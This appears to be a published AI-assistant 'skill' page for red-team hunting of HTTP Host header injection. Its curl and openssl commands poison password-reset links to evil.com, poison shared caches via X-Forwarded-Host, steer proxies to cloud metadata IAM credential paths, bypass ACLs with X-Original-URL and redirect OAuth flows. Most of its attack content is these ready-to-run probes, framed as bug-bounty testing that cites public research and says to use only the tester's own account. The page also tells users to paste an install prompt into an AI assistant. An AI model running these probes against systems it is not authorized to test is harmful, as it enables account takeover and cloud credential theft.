Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-fronted app, OAuth/OIDC endpoint, or absolute-URL-in-email feature.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-fronted app, OAuth/OIDC endpoint, or absolute-URL-in-email feature.
version
1.1.0
revision_date
"2026-07-25T00:00:00.000Z"
license
MIT
category
redteam
tags
["host-header","hunt","redteam"]
HUNT-HOST-HEADER — Host Header Injection
Grounding / Provenance
This skill is built from the public Host-header attack literature, not invented payloads.
Cite the technique source in your report, never a fabricated ID:
Password-reset poisoning class — the canonical write-up is Skelet's/Detectify-era
"Practical HTTP Host header attacks" (the Django request.get_host() → password-reset-link
case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style
allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
Web cache poisoning via unkeyed Host / X-Forwarded-Host — PortSwigger Research,
James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020).
These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
Routing-based SSRF — PortSwigger Research, "Cracking the lens" / routing-based SSRF
(Host header steers the front-end's upstream selection).
When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT
on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not
verified — a missing citation is always better than a wrong one.
Crown Jewel Targets
Host header injection that reaches password reset links = Critical (ATO for any user).
Highest-value chains:
Password reset poisoning → ATO — server builds the reset link from the request Host;
attacker sets Host: evil.com; the victim's reset email points the token at the attacker →
token captured on click → full ATO. Pre-account-takeover variant: even the victim requesting
their own reset leaks the token to evil.com.
Web cache poisoning via unkeyed Host — a CDN/reverse proxy caches a response that reflects
an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned
entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
Routing-based SSRF — the front-end uses the Host header itself to pick the upstream;
Host: [REDACTED_IP] (or an internal hostname) makes it forward your request to that target
→ cloud metadata / internal admin panels.
Path-override SSRF / ACL bypass — IIS/ASP.NET/Spring honour X-Original-URL /
X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge
ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
OAuth/OIDC poisoning — Host drives redirect_uri or the OIDC issuer / discovery doc →
auth-code or token theft → ATO.
Attack Surface Signals
Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
Always test against your own registered test account. Never request another user's reset.
Phase 1 — Password Reset Poisoning
# 1a. Override Host directly
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"your-test-account@target.com"}'# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "email=your-test-account@target.com"# 1c. Host + X-Forwarded-Host combo, and X-Host
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "email=your-test-account@target.com"# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Hostprintf'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com'"$TARGET" \
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
# 1e. Absolute-URL injection: keep real Host, append attacker host so the# reset link becomes https://TARGET.evil.com/... or routes the token out
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"
Confirm: open the reset email in your own test inbox and read the link host. The token must
appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator
domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so
that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and
have proof — see Validation.
Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host
Mechanism: this is a reflection bug, not an OOB bug. The injected host must be reflected into
the response body (an absolute URL, script src, <link href>, <base href>, redirect
Location, or canonical/og:url) and that response must be cached on a key you do not
control. No Collaborator callback is expected from the cache test itself — only later, if a
victim's browser loads the poisoned absolute URL.
# 2a. Is the host reflected into the body?
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ \
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
| grep -i "canary"# 2b. Is the response cacheable, and what is the cache key?
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/?cb=$RANDOM" \
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.# Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl --max-time 30 --connect-timeout 10 -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
curl --max-time 30 --connect-timeout 10 -s "$URL" | grep -i "evilcdn.example"# clean victim view → reflected = POISONED
False-positive killers (mandatory):
A reflection that only ever appears for your request (because the header is keyed, e.g. in
Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the
payload on a request that omits the header.
Age: 0 + MISS every time → no shared cache → no mass impact. Demote to self-only / Low.
Confirm blast radius from a second machine / fresh egress IP / incognito before claiming
"mass". Cache scope is often per-edge / per-cookie / per-geo.
Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)
These operate at different layers. Test them separately; they do not compose into one request.
(3A) Routing-based SSRF — the Host header selects the upstream. The path goes on the
request line, exactly as a normal request, because the metadata service / internal host serves
plain HTTP and only sees the request line + headers you forward. X-Original-URL is irrelevant
here — the EC2 IMDS ignores it.
# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/" -H "Host: [REDACTED_IP]"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: [REDACTED_IP]"# GCP / Azure equivalents (still routing via Host):
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/computeMetadata/v1/" \
-H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
-H "Host: [REDACTED_IP]" -H "Metadata: true"# Internal hostname / port routing:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: localhost:6379"# Redis behind the proxy
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $COLLAB"
(3B) Path-override SSRF / ACL bypass — X-Original-URL / X-Rewrite-URL. This is an
IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the routed path. The real Host
stays put; you are bypassing an edge path ACL, not steering an upstream. Keep the real Host.
# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
The old probe Host: [REDACTED_IP] + X-Original-URL: /latest/meta-data/ was wrong: those
two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.
Phase 4 — OAuth / OIDC / SAML Poisoning
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
-H "Host: evil.com" | grep -iE "redirect|location|action="# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
| grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
Confirm: the auth code / token must actually be delivered to the attacker host (capture on
Collaborator) — a reflected string alone is not ATO.
Phase 5 — Header Fuzzing (Param Miner)
Burp Param Miner → Guess headers is faster and finds unkeyed/cache-affecting headers the list
below misses. Manual sweep:
Re-point flow → capture code/token on Collaborator
Critical — ATO via code theft
Validation (house discipline)
✅ Password reset: the token URL in your own test account's email uses an
attacker-controlled host. Strongest proof = inject a Collaborator host and show the inbound
HTTP hit carrying the token when the link is clicked/previewed (OOB capture).
✅ Cache poison: a request that omits the injected header (fresh egress IP / incognito)
still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or
MISS/Age:0 only.
✅ Routing SSRF: real response body from [REDACTED_IP] / internal host, or an OOB
DNS/HTTP hit on your Collaborator from the front-end (blind case).
✅ Path-override: status/body diff vs the edge-blocked direct request proves the override took.
✅ OAuth/OIDC: the auth code / token is actually delivered to the attacker host (captured),
not merely reflected.
Always rule out false positives:
Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check Vary, second IP).
A 200 echoing your Host string is not SSRF unless the response content came from the internal
target or your Collaborator fired.
Some mailers rewrite links to a fixed SITE_URL regardless of Host — reflected header in the
HTTP response does not guarantee a poisoned email; verify the email body.
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
Host header reflection without impact — the header being echoed in the page is not a vulnerability. Need cache poisoning, password reset poisoning, or SSRF.
Password reset poisoning without email confirmation — reflected host in response doesn't prove the reset link was poisoned. Read the actual email.
Absolute URL generation vs relative — if the app uses relative URLs, host header injection has no impact.
X-Forwarded-Host accepted but not used for link generation — the header may be logged but not used in application logic. Test what the app actually does with it.
